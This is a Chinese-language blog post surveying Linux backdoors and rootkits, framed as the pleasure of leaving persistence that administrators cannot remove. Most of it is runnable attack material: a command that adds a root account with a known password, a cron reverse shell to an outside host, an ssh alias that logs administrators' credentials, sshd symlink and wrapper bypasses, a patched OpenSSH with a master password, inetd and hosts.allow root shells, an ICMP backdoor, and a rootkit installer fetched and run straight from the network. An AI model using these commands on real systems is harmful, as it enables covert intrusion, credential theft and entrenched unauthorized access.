文章目录
  1. 前言:
  2. 一款优秀的后门具有:
  3. 用户级别后门
    1. 增加超级用户(需要root)
    2. tsh后门
      1. 服务端:
      2. 客户端:
    3. 计划任务后门
    4. SSH公钥登录
    5. alias后门
    6. SSH软连接后门(需要root)
    7. SSH后门(需要root)
    8. SSH wrapper 后门(需要root)
    9. 修改inetd配置文件后门(需要安装inetd,默认没有安装)
    10. ICMP通讯后门
    11. Git-hook backdoor
    12. PROMPT_COMMAND后门
    13. TCP Wrappers(需要root)
    14. “.rhosts”文件后门(测试失败)
  4. 内核级别后门
    1. 基础知识
      1. 系统调用
      2. 系统调用的hook
      3. 程序的连接和装载
    2. Hook LD_PRELOAD后门
    3. Knark
    4. adore-ng
    5. Kbeast
    6. enyelkm
  5. 硬件级别后门
    1. bios后门
  6. 其他类型

Linux rootkit 初探

前言:

本文是在一篇安全课的文章的基础上研究探索的,留后门并让主机管理员在发现后也无法将你清除是一件非常愉快的事情。rootkit技术已经不算是一个新的技术了,作为一个web狗说一说计划任务弹shell的还好,当讨论起来如何hook系统调用来写ring0的rootkit就捉襟见肘了。这篇文章算是rootkit的初探,也是让自己未来在rootkit方面多多了解一些。

一款优秀的后门具有:

  • 文件隐藏:通过ls等命令无法发现:可以hook sys_getdents64或者readdir
  • 进程隐藏:通过ps等命令无法发现:读取进程是读取/proc进程目录,可以hook sys_getdents64或者readdir
  • 连接隐藏:netstat无法发现:netstat是读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。
  • 隐藏日志:无history
  • 网路嗅探:通过libpcap库直接访问链路层,截获数据包
  • 密码嗅探:可以通过hook sys_read制作login后门。

用户级别后门

用户级别后门值得是留后门的过程不会涉及到对系统调用的劫持修改,后门在用户态修改,不涉及内核态。用户级别后门容易留,容易被发现。

增加超级用户(需要root)

echo "backdooruser:x:999:0::/:/bin/sh" >> /etc/passwd

echo "backdooruser:$6$IRZ4H1HG$x7375skwAG49qJ0fr0FlmKSURIR0fPcP.isV1NjUyW0uAo9gtXybc3wT/t0fczip8lVqifNLHC7B349sKt0S1.:17791:0:99999:7:::" >> /etc/shadow

密码:1234qwer@QWER

tsh后门

Orange大神写的后门,在新老内核的兼容性非常好,支持正向或者反向链接。

git clone https://github.com/orangetw/tsh.git

服务端:

修改tsh.h中的端口,密码,伪装进程名
删除两行

1
2
#define CONNECT_BACK_HOST  "120.25.80.195"
#define CONNECT_BACK_DELAY 60

运行

1
2
make
umask 077; HOME=/var/tmp ./tshd

客户端:

修改tsh.h中的端口和密码和ip

1
2
make
./tsh ip "命令"

备注:在mac上需要修改

1
2
-#include <pty.h>
+#include <util.h>

否则编译不成功

备注:如果使用反向连接,使用./tsh cb监听

计划任务后门

每分钟给t-t.win的53端口弹一次shell

1
crontab -l > crontab.bak;echo "* * * * * /bin/sh -i >& /dev/tcp/t-t.win/53 0>&1" >> crontab.bak;crontab crontab.bak;rm crontab.bak;

在ubuntu中需要执行ln -s -f bash /bin/sh才可以成功。因为crontab中的shell环境是sh,在ubuntu中sh是dash的软连接,需要修改成bash的软连接才可以反弹shell。

SSH公钥登录

通过命令ssh-keygen -t rsa生成公钥,将生成的id_rsa.pub文件写入服务器的authorized_keys中。

1
2
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

alias后门

在当前用户目录的.bashrc中写

1
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

strace命令可以跟踪进程运行时,系统调用和接受的信号。
这条命令在管理员使用ssh时生效,后门将终端的输入输出(包括输入的ssh地址账号密码)和连接信息保存到/tmp/sshpwd-日期.log中,在一些小型的网站中,可以将写入的地址设置为web目录一些深层,管理员不易发现的地方。日后通过浏览器访问,就可以得到管理员在这台机器上远程登录其他服务器ssh的地址账号密码等等了。
这只是一种方法,可以在管理员必备的命令中加入一些后门,比如ls这样的命令。

SSH软连接后门(需要root)

执行ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
其他机器使用ssh 任意存在用户@IP -p 31337使用任意密码可登陆。
原理是PAM根据软连接文件名称在/etc/pam.d/中寻找对应的文件名,使用其中的配置文件登陆。因此,这种方法需要SSH开启PAM登陆,默认开启。

参考:
http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/

SSH后门(需要root)

编译特定版本的新的SSH达到双密码登录的效果,需要替换服务端的SSH,动静比较大。Ubuntu16.04测试失败,Ubuntu14.04测试成功。

1
2
3
4
5
6
7
wget https://link.jianshu.com/?t=http://ifuryst.com/usr/uploads/data/openssh-5.9p1.tar.gz
wget https://link.jianshu.com/?t=http://ifuryst.com/usr/uploads/data/openssh-5.9p1.patch.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
cd openssh-5.9p1
patch < sshbd5.9p1.diff

修改想要登录的密码

1
2
3
4
5
6
7
root@localhost openssh-5.9p1# vim includes.h
int secret_ok;
FILE *f;
#define ILOG "/tmp/ilog" # 记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" # 记录本机登录到远程的用户名和密码
#define SECRETPW "warden" # 远程连接密码
#endif /* INCLUDES_H */

修改想要ssh版本(通过ssh -V查看当前ssh版本)

1
2
3
4
5
root@localhost openssh-5.9p1# vim version.h
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
#define SSH_VERSION "OpenSSH_5.3p1"
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE

1
2
3
4
5
apt-get install -y openssl libssl-dev libpam0g-dev
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
make clean
make && make install
/etc/init.d/ssh restart

就可以使用自己设置的密码登录了。

参考:
https://www.jianshu.com/p/c1cd73b072f1

SSH wrapper 后门(需要root)

1
2
3
4
5
6
7
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

连接方式:socat STDIO TCP4:target_ip:22,sourceport=13377
Ubuntu14.04测试成功,16.04测试失败

修改inetd配置文件后门(需要安装inetd,默认没有安装)

/etc/inetd.conf文件中添加一行daytime stream tcp nowait root /bin/bash bash -i
用nc随意连接一个端口即可成功。如果没有安装需要手动安装,需要root权限。Ubuntu 14.04测试失败。
参考:https://blog.csdn.net/d_0xff/article/details/51521075

ICMP通讯后门

记得修改prism.c文件中的密码和反弹地址

1
2
git clone https://github.com/andreafabrizi/prism.git
gcc <..OPTIONS..> -Wall -s -o prism prism.c

1
2
3
4
5
选项如下:
-DDETACH #后台运行
-DSTATIC #开启STATIC模式 (默认ICMP模式)
-DNORENAME #不使用自定义的进程名
-DIPTABLES #清空所有的iptables规则

攻击机(172.16.100.182):nc -vv -l -p 6666
肉鸡(172.16.100.134):./prism
攻击机(172.16.100.182):./sendPacket.py 172.16.100.134 p4ssw0rd 172.16.100.182 6666

参考:http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/

除了使用ICMP,还可以使用DNS等其他的协议作为通讯后门。

Git-hook backdoor

在安装git和xterm的机器上可以使用此种方法。
参考:https://github.com/ulissescastro/linux-native-backdoors/tree/master/git-hooks

PROMPT_COMMAND后门

PROMPT_COMMAND是bash的一个环境变量,他会在用户执行命令前执行。
将反弹shell的命令放入PROMPT_COMMAND中,管理员只要使用bash就会反弹shell。

TCP Wrappers(需要root)

向/etc/hosts.allow中写入ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow
攻击者执行nc -lvvp 443监听443端口,接下来通过执行ssh qweqwe@VictimIP触发

“.rhosts”文件后门(测试失败)

向~/.rhosts中写入”+ +”,就可以让任何用户无密码登录

Linux的内核态与用户态分析:https://www.cnblogs.com/bakari/p/5520860.html
基于内存分析的rootkit检测技术:http://www.vuln.cn/6324
Linux rootkit总结:http://www.cnblogs.com/LittleHann/p/3879961.html?utm_source=tuicool&utm_medium=referral

内核级别后门

内核级别后门包括不限于对系统调用的Hook,函数API的hook,以及直接操作内核函数。几乎全部后门都需要root权限,对后门编写者linux内核知识和C的要求比较高。

基础知识

系统调用

系统调用的hook

ring 3

1
2
3
4
5
6
7
0x1: LD_PRELOAD动态连接.so函数劫持
0x2: 使用snoopy进行execve/execv、connect、init_module hook
0x3: 绕过基于Linux消息队列(Message Queue)通信的Hook模块
0x4: 基于PD_PRELOAD、LD_LIBRARY_PATH环境变量劫持绕过Hook模块
0x5: 基于ptrace()调试技术进行API Hook
0x6: 绕过C库LD_PRELOAD机制的技术方案
0x7: 基于PLT劫持、PLT重定向技术实现Hook

ring 0

1
2
3
4
5
6
7
8
9
0x1: Kernel Inline Hook 
0x2: 利用0x80中断劫持system_call->sys_call_table进行系统调用Hook
0x3: 获取sys_call_table的常用方法
0x4: 利用Linux内核机制kprobe机制(kprobes, jprobe和kretprobe)进行系统调用Hook
0x5: LSM(linux security module) Security钩子技术(linux原生机制)
0x6: LSM Function Replace Hook劫持技术
0x7: int 80中断劫持技术
0x8: 利用从PAGE_OFFSET起始位置搜索特征码劫持system_call_sys_call_table进行系统调用hook
0x9: Linux LSM(Linux Security Modules) Hook技术

程序的连接和装载

Hook LD_PRELOAD后门

Ring 0中Hook LD_PRELOAD的后门。在LD_PRELOAD中可以定义Linux运行程序前“动态加载”的动态链接库,只要在LD_PRELOAD中加载的.so中编写同名函数,后面引入的符号会被省略。

1
wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh

https://github.com/mempodippy/vlany

参考:http://www.freebuf.com/column/162604.html

Knark

LKM层rootkit
https://packetstormsecurity.com/fils/24853/knark-2.4.3.tgz.html

adore-ng

https://github.com/trimpsyw/adore-ng
内核版本:2.6 and 3.x,虽然有些老,但已经可以在ubuntu13.04(X86)上使用了。
成功内核版本:2.6.32-358.el6.x86_64

1
2
3
4
5
6
yum install kernel-devel
wget https://github.com/trimpsyw/adore-ng/archive/master.zip
unzip master.zip
cd adore-ng-master
make
./ava I

作为一个内核级别的后门,通过./ava help看到它支持的功能:

1
2
3
4
5
6
7
8
9
10
Usage: ./ava {h,u,r,R,i,v,U} [file or PID]

I print info (secret UID etc)
h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible

功能比较简单,分别是:隐藏文件,显示文件,提权,移除PID,移除adore,隐藏PID,显示PID。
用法比较简单,如果你想隐藏/etc/passwd的话就用./ava h /etc/passwd,想提权就用./ava r /bin/bash

Kbeast

开发者在2012年编写的kernel ootkit,内核版本支持:2.6.18 and 2.6.32。查看内核版本的命令cat /proc/version,现在已经4.15了。适用范围已经很窄了。

参考:http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/

enyelkm

https://github.com/David-Reguera-Garcia-Dreg/enyelkm
支持内核版本:2.6

硬件级别后门

bios后门

其他类型

支持一下
扫一扫,支持forsigner